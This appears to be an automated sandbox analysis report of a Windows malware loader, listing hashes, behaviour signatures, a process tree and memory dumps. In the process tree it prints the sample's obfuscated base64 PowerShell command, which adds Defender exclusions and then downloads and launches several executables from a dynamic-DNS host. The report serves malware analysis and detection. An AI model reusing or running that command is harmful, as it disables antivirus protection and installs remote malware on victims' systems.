Analysis

  • max time kernel
    148s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/10/2026, 18:01

General

  • Target
    jaffacakes118_C4Loader.exe
  • Size 594KB
  • Sample261017-wl3a4agc39
  • SHA256 99fadd593d90f0c69b24e4e0edb40404cd29aecc26a953d84eb6cec2341a6e35
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Uses the VBS compiler for execution 1 TTPs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of SetThreadContext 1 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_C4Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_C4Loader.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4816
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AcgBwACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBnAHQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBiAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBlAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACwAIAA8ACMAZQB0AHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBlAHkAagAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAGcAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAKQA8ACMAZQB0AHMAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGQAZABuAHMALgBuAGUAdAAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAG4AZQB3ADIALgBlAHgAZQAnACwAIAA8ACMAcgBiAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHAAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGUAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBuAGUAdwAyAC4AZQB4AGUAJwApACkAPAAjAGYAaAB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBsAHAAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHkAcwBjACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAbQB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAG4AdABrACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAegB6AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB5AGgAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAHgAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcQB4AHoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagB0AG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAYwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQA8ACMAaABxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBnAGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAawB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAGsAcgBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAbQByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAZgBiAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABmAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAaQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQA8ACMAYgBwAHMAIwA+AA=="
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3496
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1300 -s 296
      2⤵
      • Program crash
      PID:2484
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1300 -ip 1300
    1⤵
      PID:4064

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_xae4hszi.ja5.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xae4hszi.ja5.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1300-0-0x000000000108D000-0x000000000108E000-memory.dmp

          memory/3496-24-0x0000000005F70000-0x0000000005FBC000-memory.dmp

          memory/3496-42-0x0000000007FE0000-0x0000000008002000-memory.dmp

          memory/3496-9-0x0000000004A30000-0x0000000004A66000-memory.dmp

          memory/3496-10-0x0000000072FA0000-0x000000007375C000-memory.dmp

          memory/3496-11-0x0000000072FA0000-0x000000007375C000-memory.dmp

          memory/3496-12-0x00000000051F0000-0x000000000583A000-memory.dmp

          memory/3496-13-0x0000000005890000-0x00000000058B2000-memory.dmp

          memory/3496-14-0x0000000005930000-0x0000000005996000-memory.dmp

          memory/3496-45-0x0000000072FA0000-0x000000007375C000-memory.dmp

          memory/3496-15-0x00000000059A0000-0x0000000005A06000-memory.dmp

          memory/3496-21-0x0000000005A30000-0x0000000005D8B000-memory.dmp

          memory/3496-26-0x0000000006510000-0x0000000006546000-memory.dmp

          memory/3496-8-0x0000000072FB2000-0x0000000072FB3000-memory.dmp

          memory/3496-43-0x00000000085D0000-0x0000000008B8A000-memory.dmp

          memory/3496-23-0x0000000005F10000-0x0000000005F2E000-memory.dmp

          memory/3496-27-0x0000000074F40000-0x0000000074F8C000-memory.dmp

          memory/3496-33-0x0000000072FA0000-0x000000007375C000-memory.dmp

          memory/3496-35-0x0000000006590000-0x00000000065B0000-memory.dmp

          memory/3496-36-0x0000000007200000-0x00000000072A3000-memory.dmp

          memory/3496-38-0x00000000072B0000-0x00000000072CA000-memory.dmp

          memory/3496-37-0x0000000007930000-0x0000000007FAC000-memory.dmp

          memory/3496-39-0x0000000007330000-0x000000000733A000-memory.dmp

          memory/3496-40-0x0000000007560000-0x00000000075F6000-memory.dmp

          memory/3496-41-0x0000000072FA0000-0x000000007375C000-memory.dmp

          memory/3496-25-0x0000000072FA0000-0x000000007375C000-memory.dmp

          memory/4816-1-0x0000000000400000-0x0000000000405000-memory.dmp

          memory/4816-7-0x0000000000400000-0x0000000000405000-memory.dmp